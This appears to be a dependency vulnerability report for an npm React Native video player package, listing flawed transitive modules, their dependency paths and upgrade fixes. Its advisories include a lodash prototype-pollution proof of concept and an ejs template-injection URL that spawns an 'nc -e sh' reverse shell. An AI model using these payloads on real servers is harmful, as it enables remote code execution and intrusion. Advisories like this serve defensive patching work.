Vulnerabilities |
45 via 390 paths |
---|---|
Dependencies |
733 |
Source |
npm |
Find, fix and prevent vulnerabilities in your code.
high severity
- Vulnerable module: base64-url
- Introduced through: react-native@0.36.1
Detailed paths
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › connect@2.30.2 › express-session@1.11.3 › uid-safe@2.0.0 › base64-url@1.2.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
Overview
base64-url Base64 encode, decode, escape and unescape for URL applications.
Affected versions of this package are vulnerable to Uninitialized Memory Exposure. An attacker may extract sensitive data from uninitialized memory or may cause a DoS by passing in a large number, in setups where typed user input can be passed (e.g. from JSON).
Details
The Buffer class on Node.js is a mutable array of binary data, and can be initialized with a string, array or number.
const buf1 = new Buffer([1,2,3]);
// creates a buffer containing [01, 02, 03]
const buf2 = new Buffer('test');
// creates a buffer containing ASCII bytes [74, 65, 73, 74]
const buf3 = new Buffer(10);
// creates a buffer of length 10
The first two variants simply create a binary representation of the value it received. The last one, however, pre-allocates a buffer of the specified size, making it a useful buffer, especially when reading data from a stream.
When using the number constructor of Buffer, it will allocate the memory, but will not fill it with zeros. Instead, the allocated buffer will hold whatever was in memory at the time. If the buffer is not zeroed
by using buf.fill(0)
, it may leak sensitive information like keys, source code, and system info.
Remediation
Upgrade base64-url
to version 2.0.0 or higher.
Note This is vulnerable only for Node <=4
References
high severity
- Vulnerable module: lodash
- Introduced through: react-native@0.36.1
Detailed paths
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › lodash@3.10.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-environment@1.5.3 › lodash@3.10.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-generator@0.21.2 › lodash@3.10.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › plist@1.2.0 › xmlbuilder@4.0.0 › lodash@3.10.1
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-environment@1.5.3 › inquirer@0.11.4 › lodash@3.10.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-generator@0.21.2 › inquirer@0.11.4 › lodash@3.10.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-generator@0.21.2 › yeoman-environment@1.5.3 › lodash@3.10.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-generator@0.21.2 › yeoman-environment@1.5.3 › inquirer@0.11.4 › lodash@3.10.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-generator@0.21.2 › html-wiring@1.2.0 › cheerio@0.19.0 › lodash@3.10.1
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › xcode@0.8.9 › simple-plist@0.1.4 › plist@1.2.0 › xmlbuilder@4.0.0 › lodash@3.10.1
Overview
lodash is a modern JavaScript utility library delivering modularity, performance, & extras.
Affected versions of this package are vulnerable to Prototype Pollution. The function zipObjectDeep
can be tricked into adding or modifying properties of the Object prototype. These properties will be present on all objects.
PoC
const _ = require('lodash');
_.zipObjectDeep(['__proto__.z'],[123])
console.log(z) // 123
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as _proto_
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
- Unsafe
Object
recursive merge - Property definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named _proto_
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to _proto_.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
Type | Origin | Short description |
---|---|---|
Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
- Application server
- Web server
How to prevent
- Freeze the prototype— use
Object.freeze (Object.prototype)
. - Require schema validation of JSON input.
- Avoid using unsafe recursive merge functions.
- Consider using objects without prototypes (for example,
Object.create(null)
), breaking the prototype chain and preventing pollution. - As a best practice use
Map
instead ofObject
.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade lodash
to version 4.17.20 or higher.
References
high severity
- Vulnerable module: ejs
- Introduced through: react-native@0.36.1
Detailed paths
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-generator@0.21.2 › mem-fs-editor@2.3.0 › ejs@2.7.4Remediation: Upgrade to react-native-android-video-player@0.1.1.
Overview
ejs is a popular JavaScript templating engine.
Affected versions of this package are vulnerable to Remote Code Execution (RCE) by passing an unrestricted render option via the view options
parameter of renderFile
, which makes it possible to inject code into outputFunctionName
.
Note: This vulnerability is exploitable only if the server is already vulnerable to Prototype Pollution.
PoC:
Creation of reverse shell:
http://localhost:3000/page?id=2&settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('nc -e sh 127.0.0.1 1337');s
Remediation
Upgrade ejs
to version 3.1.7 or higher.
References
high severity
- Vulnerable module: ansi-regex
- Introduced through: react-native@0.36.1
Detailed paths
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › inquirer@0.12.0 › ansi-regex@2.1.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › inquirer@0.12.0 › strip-ansi@3.0.1 › ansi-regex@2.1.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-environment@1.5.3 › inquirer@0.11.4 › ansi-regex@2.1.1
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-generator@0.21.2 › inquirer@0.11.4 › ansi-regex@2.1.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › inquirer@0.12.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-environment@1.5.3 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-generator@0.21.2 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › inquirer@0.12.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-environment@1.5.3 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-generator@0.21.2 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › inquirer@0.12.0 › string-width@1.0.2 › strip-ansi@3.0.1 › ansi-regex@2.1.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yargs@3.32.0 › string-width@1.0.2 › strip-ansi@3.0.1 › ansi-regex@2.1.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yargs@3.32.0 › cliui@3.2.0 › strip-ansi@3.0.1 › ansi-regex@2.1.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-environment@1.5.3 › inquirer@0.11.4 › strip-ansi@3.0.1 › ansi-regex@2.1.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-generator@0.21.2 › inquirer@0.11.4 › strip-ansi@3.0.1 › ansi-regex@2.1.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-generator@0.21.2 › yeoman-environment@1.5.3 › inquirer@0.11.4 › ansi-regex@2.1.1
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-core@6.26.3 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › fbjs-scripts@0.7.1 › gulp-util@3.0.8 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-environment@1.5.3 › inquirer@0.11.4 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-generator@0.21.2 › inquirer@0.11.4 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-environment@1.5.3 › log-symbols@1.0.2 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-generator@0.21.2 › yeoman-environment@1.5.3 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-generator@0.21.2 › yeoman-welcome@1.0.1 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-core@6.26.3 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › fbjs-scripts@0.7.1 › gulp-util@3.0.8 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-environment@1.5.3 › inquirer@0.11.4 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-generator@0.21.2 › inquirer@0.11.4 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-environment@1.5.3 › log-symbols@1.0.2 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-generator@0.21.2 › yeoman-environment@1.5.3 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-generator@0.21.2 › yeoman-welcome@1.0.1 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yargs@3.32.0 › cliui@3.2.0 › string-width@1.0.2 › strip-ansi@3.0.1 › ansi-regex@2.1.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-environment@1.5.3 › inquirer@0.11.4 › string-width@1.0.2 › strip-ansi@3.0.1 › ansi-regex@2.1.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-generator@0.21.2 › inquirer@0.11.4 › string-width@1.0.2 › strip-ansi@3.0.1 › ansi-regex@2.1.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yargs@3.32.0 › cliui@3.2.0 › wrap-ansi@2.1.0 › strip-ansi@3.0.1 › ansi-regex@2.1.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-generator@0.21.2 › yeoman-environment@1.5.3 › inquirer@0.11.4 › strip-ansi@3.0.1 › ansi-regex@2.1.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-core@6.26.3 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › fbjs-scripts@0.7.1 › babel-core@6.26.3 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-register@6.26.0 › babel-core@6.26.3 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-generator@0.21.2 › yeoman-environment@1.5.3 › inquirer@0.11.4 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-generator@0.21.2 › yeoman-environment@1.5.3 › log-symbols@1.0.2 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-core@6.26.3 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › fbjs-scripts@0.7.1 › babel-core@6.26.3 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-register@6.26.0 › babel-core@6.26.3 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-generator@0.21.2 › yeoman-environment@1.5.3 › inquirer@0.11.4 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-generator@0.21.2 › yeoman-environment@1.5.3 › log-symbols@1.0.2 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yargs@3.32.0 › cliui@3.2.0 › wrap-ansi@2.1.0 › string-width@1.0.2 › strip-ansi@3.0.1 › ansi-regex@2.1.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-generator@0.21.2 › yeoman-environment@1.5.3 › inquirer@0.11.4 › string-width@1.0.2 › strip-ansi@3.0.1 › ansi-regex@2.1.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-core@6.26.3 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › fbjs-scripts@0.7.1 › babel-core@6.26.3 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-register@6.26.0 › babel-core@6.26.3 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-preset-es2015-node@6.1.1 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-preset-fbjs@2.3.0 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-preset-react-native@1.9.2 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-preset-fbjs@2.3.0 › babel-plugin-transform-es2015-block-scoping@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-preset-react-native@1.9.2 › babel-plugin-transform-es2015-block-scoping@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-preset-fbjs@2.3.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-preset-react-native@1.9.2 › babel-plugin-transform-es2015-classes@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-core@6.26.3 › babel-register@6.26.0 › babel-core@6.26.3 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-generator@0.21.2 › download@4.4.3 › gulp-decompress@1.2.0 › gulp-util@3.0.8 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-core@6.26.3 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › fbjs-scripts@0.7.1 › babel-core@6.26.3 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-register@6.26.0 › babel-core@6.26.3 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-preset-es2015-node@6.1.1 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-preset-fbjs@2.3.0 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-preset-react-native@1.9.2 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-preset-fbjs@2.3.0 › babel-plugin-transform-es2015-block-scoping@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-preset-react-native@1.9.2 › babel-plugin-transform-es2015-block-scoping@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-preset-fbjs@2.3.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-preset-react-native@1.9.2 › babel-plugin-transform-es2015-classes@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-core@6.26.3 › babel-register@6.26.0 › babel-core@6.26.3 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-generator@0.21.2 › download@4.4.3 › gulp-decompress@1.2.0 › gulp-util@3.0.8 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-core@6.26.3 › babel-helpers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › fbjs-scripts@0.7.1 › babel-core@6.26.3 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-register@6.26.0 › babel-core@6.26.3 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-preset-es2015-node@6.1.1 › babel-plugin-transform-es2015-modules-commonjs@6.26.2 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-preset-fbjs@2.3.0 › babel-plugin-transform-es2015-modules-commonjs@6.26.2 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-preset-react-native@1.9.2 › babel-plugin-transform-es2015-modules-commonjs@6.26.2 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-preset-es2015-node@6.1.1 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-preset-fbjs@2.3.0 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-preset-react-native@1.9.2 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-preset-fbjs@2.3.0 › babel-plugin-transform-class-properties@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-preset-react-native@1.9.2 › babel-plugin-transform-class-properties@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-preset-fbjs@2.3.0 › babel-plugin-transform-es2015-block-scoping@6.26.0 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-preset-react-native@1.9.2 › babel-plugin-transform-es2015-block-scoping@6.26.0 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-preset-fbjs@2.3.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-preset-react-native@1.9.2 › babel-plugin-transform-es2015-classes@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-preset-fbjs@2.3.0 › babel-plugin-transform-es2015-computed-properties@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
